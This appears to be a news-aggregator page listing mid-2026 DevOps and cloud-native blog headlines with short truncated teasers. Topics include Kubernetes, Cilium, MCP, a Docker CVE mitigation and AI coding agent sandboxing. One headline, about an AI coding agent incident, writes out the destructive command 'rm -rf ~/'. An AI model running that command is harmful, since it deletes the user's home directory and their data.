<h3 id="h3-the-kubernetes-integration-tax-prometheus-cilium-and-production-reality" class="group relative scroll-mt-24">
        <a href="#h3-the-kubernetes-integration-tax-prometheus-cilium-and-production-reality" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Kubernetes integration tax: Prometheus, Cilium and production reality
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-kubernetes-integration-tax-prometheus-cilium-and-production-reality"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I still remember the first time we lost sleep over something that wasn’t a bug. It was a Tuesday. Grafana dashboards showed blank panels for Cilium network metrics. Hubble was working fine — DNS visib</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/28/the-kubernetes-integration-tax-prometheus-cilium-and-production-reality/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kiali-and-mcp-bringing-ai-native-observability-to-red-hat-openshift-service-mesh" class="group relative scroll-mt-24">
        <a href="#h3-kiali-and-mcp-bringing-ai-native-observability-to-red-hat-openshift-service-mesh" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kiali and MCP: Bringing AI-native observability to Red Hat OpenShift Service Mesh
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kiali-and-mcp-bringing-ai-native-observability-to-red-hat-openshift-service-mesh"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The model context protocol (MCP) server for Kubernetes is moving toward technology preview (TP), and it’s bringing a powerhouse integration with it: the Kiali toolset. By integrating Kiali into the MC</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/kiali-and-mcp-bring-ai-native-observability-red-hat-openshift-service-mesh"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-136-with-ryota-sawada" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-136-with-ryota-sawada" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes 1.36, with Ryota Sawada
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-136-with-ryota-sawada"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Ryota Sawada is software engineer at Numtide and the release lead of Kubernetes 1.36 code name Haru. He has over a decade of experience mainly in the finance industry including working on Cloud Native</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Kubernetes Podcast</strong></p>
<p><a href="https://e780d51f-f115-44a6-8252-aed9216bb521.libsyn.com/kubernetes-136-with-ryota-sawada"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gpu-autoscaling-on-kubernetes-with-keda-building-an-external-scaler" class="group relative scroll-mt-24">
        <a href="#h3-gpu-autoscaling-on-kubernetes-with-keda-building-an-external-scaler" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GPU autoscaling on Kubernetes with KEDA: Building an external scaler
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gpu-autoscaling-on-kubernetes-with-keda-building-an-external-scaler"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run GPU workloads on Kubernetes — vLLM, Triton, training jobs, or the newer agentic inference stacks — you’ve probably hit a familiar problem: the default autoscaling path still reasons about C</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/27/gpu-autoscaling-on-kubernetes-with-keda-building-an-external-scaler/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-reconciling-the-past-correcting-records-for-unfixed-kubernetes-cves" class="group relative scroll-mt-24">
        <a href="#h3-reconciling-the-past-correcting-records-for-unfixed-kubernetes-cves" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Reconciling the Past: Correcting Records for Unfixed Kubernetes CVEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reconciling-the-past-correcting-records-for-unfixed-kubernetes-cves"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Kubernetes project relies on transparency to empower cluster administrators and security researchers. One important way we do that is by publishing CVE records into the Common Vulnerabilities and </p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/26/reconciling-unfixed-kubernetes-cves/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-coding-agent-horror-stories-the-rm-rf-incident" class="group relative scroll-mt-24">
        <a href="#h3-coding-agent-horror-stories-the-rm-rf-incident" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Coding Agent Horror Stories: The rm -rf ~/ Incident
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-coding-agent-horror-stories-the-rm-rf-incident"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is Part 2 of our AI Coding Agent Horror Stories series, an in-depth look at real-world security incidents exposing the vulnerabilities in AI coding agents, and how Docker Sandboxes deliver worksp</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/coding-agent-horror-stories-the-rm-rf-incident/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-ibm-apptio-delivers-data-center-value-in-the-age-of-ai" class="group relative scroll-mt-24">
        <a href="#h3-how-ibm-apptio-delivers-data-center-value-in-the-age-of-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How IBM Apptio Delivers Data Center Value in the Age of AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-ibm-apptio-delivers-data-center-value-in-the-age-of-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As organizations accelerate their adoption of AI and use of hybrid infrastructure, data center efficiency has become a direct constraint of business modernization and growth. Global demand for data ce</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/how-ibm-apptio-delivers-data-center-value-in-the-age-of-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tuning-windows-vm-performance-on-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-tuning-windows-vm-performance-on-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Tuning Windows VM Performance on SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tuning-windows-vm-performance-on-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SUSE Virtualization is a cloud native hyperconverged infrastructure platform solution optimized for running virtual machine and container workloads in the data center, multi-cloud and edge environment</p>
<p><strong>📅 May 31, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/tuning-windows-vm-performance-on-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-vmware-hypervisor-deployment-using-maas" class="group relative scroll-mt-24">
        <a href="#h3-vmware-hypervisor-deployment-using-maas" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 VMware hypervisor deployment using MAAS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vmware-hypervisor-deployment-using-maas"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most modern datacenters are inherently heterogeneous. VMware environments coexist with container platforms, databases, and other bare-metal workloads, often on the same hardware over several years. Se</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/vmware-hypervisor-deployment-using-maas"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-4-reasons-to-start-using-image-mode-for-red-hat-enterprise-linux-right-now" class="group relative scroll-mt-24">
        <a href="#h3-4-reasons-to-start-using-image-mode-for-red-hat-enterprise-linux-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 4 reasons to start using image mode for Red Hat Enterprise Linux right now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-reasons-to-start-using-image-mode-for-red-hat-enterprise-linux-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Nearly two years ago, we launched image mode for Red Hat Enterprise Linux (RHEL) to give customers a simpler way to deploy the foundation of their IT enterprise. Since then, I’ve heard users who have </p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/4-reasons-start-using-image-mode-red-hat-enterprise-linux-right-now"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mitigating-cve-2026-31431-copy-fail-in-docker-engine" class="group relative scroll-mt-24">
        <a href="#h3-mitigating-cve-2026-31431-copy-fail-in-docker-engine" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Mitigating CVE-2026-31431 (“Copy Fail”) in Docker Engine
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mitigating-cve-2026-31431-copy-fail-in-docker-engine"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>CVE-2026-31431 is a Linux kernel vulnerability that was recently disclosed. This CVE does not compromise Docker infrastructure. That said, Docker Engine&#39;s default profiles prior to v29.4.3 allowed con</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/mitigating-cve-2026-31431-copy-fail-in-docker-engine/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-untrusted-autonomous-workload-how-ai-coding-agents-reshape-what-isolation-has-to-do" class="group relative scroll-mt-24">
        <a href="#h3-the-untrusted-autonomous-workload-how-ai-coding-agents-reshape-what-isolation-has-to-do" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Untrusted Autonomous Workload: How AI Coding Agents Reshape What Isolation Has to Do
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-untrusted-autonomous-workload-how-ai-coding-agents-reshape-what-isolation-has-to-do"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Earlier this year I mass-migrated my blog to Astro using Claude Code. 146 posts. 6,024 images. Canonical URLs, JSON-LD markup, sitemap generation, the whole stack. I&#39;d spent hours writing a skills fil</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/untrusted-autonomous-workload-ai-sandboxes/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-complete-ai-experimentation-guide-test-compare-validate-ship-safely" class="group relative scroll-mt-24">
        <a href="#h3-the-complete-ai-experimentation-guide-test-compare-validate-ship-safely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Complete AI Experimentation Guide: Test, Compare, Validate & Ship Safely
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-complete-ai-experimentation-guide-test-compare-validate-ship-safely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Artificial intelligence tools, particularly large language models (LLMs), aren’t like traditional software.</p>
<p><strong>📅 May 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/ai-experimentation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-release-management-tools-what-they-are-and-how-they-work" class="group relative scroll-mt-24">
        <a href="#h3-release-management-tools-what-they-are-and-how-they-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Release management tools: What they are and how they work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-release-management-tools-what-they-are-and-how-they-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 May 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/release-management-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-feature-flags-vs-feature-branching-why-you-need-both-for-faster-safer-releases" class="group relative scroll-mt-24">
        <a href="#h3-feature-flags-vs-feature-branching-why-you-need-both-for-faster-safer-releases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Feature Flags vs Feature Branching: Why You Need Both for Faster, Safer Releases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-feature-flags-vs-feature-branching-why-you-need-both-for-faster-safer-releases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Feature flags control features after deployment, while feature branching manages code before merge</p>
<p><strong>📅 May 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/feature-flags-vs-feature-branching/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bigquery-cicd-with-harness-database-devops" class="group relative scroll-mt-24">
        <a href="#h3-bigquery-cicd-with-harness-database-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 BigQuery CI/CD with Harness Database DevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bigquery-cicd-with-harness-database-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Automate BigQuery schema deployments with Harness using secure OIDC authentication and CI/CD pipelines. | Blog</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/bigquery-ci-cd-and-database-devops-with-harness"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-still-a-developer-just-outside-our-latest-github-shop-collection-is-here" class="group relative scroll-mt-24">
        <a href="#h3-still-a-developer-just-outside-our-latest-github-shop-collection-is-here" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Still a developer. Just outside. Our latest GitHub Shop collection is here.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-still-a-developer-just-outside-our-latest-github-shop-collection-is-here"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The ESC collection lets you escape the confines of your desk and get out into the sun where good ideas are bound to happen. The post Still a developer. Just outside. Our latest GitHub Shop collection </p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/still-a-developer-just-outside-our-latest-github-shop-collection-is-here/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-1901-18114-18107" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-1901-18114-18107" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 19.0.1, 18.11.4, 18.10.7
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-1901-18114-18107"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 May 28, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-0-1-released/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-opus-48-on-gitlab-complex-agentic-work-less-disruption" class="group relative scroll-mt-24">
        <a href="#h3-claude-opus-48-on-gitlab-complex-agentic-work-less-disruption" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Opus 4.8 on GitLab: Complex agentic work, less disruption
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-opus-48-on-gitlab-complex-agentic-work-less-disruption"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s latest model on GitLab is built for precise execution across complex multi-step agent work. Agents fail most often on complex, multi-step work: tasks that span multiple tools and go from i</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/claude-opus-4-8-on-gitlab/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-coding-is-only-as-good-as-its-context" class="group relative scroll-mt-24">
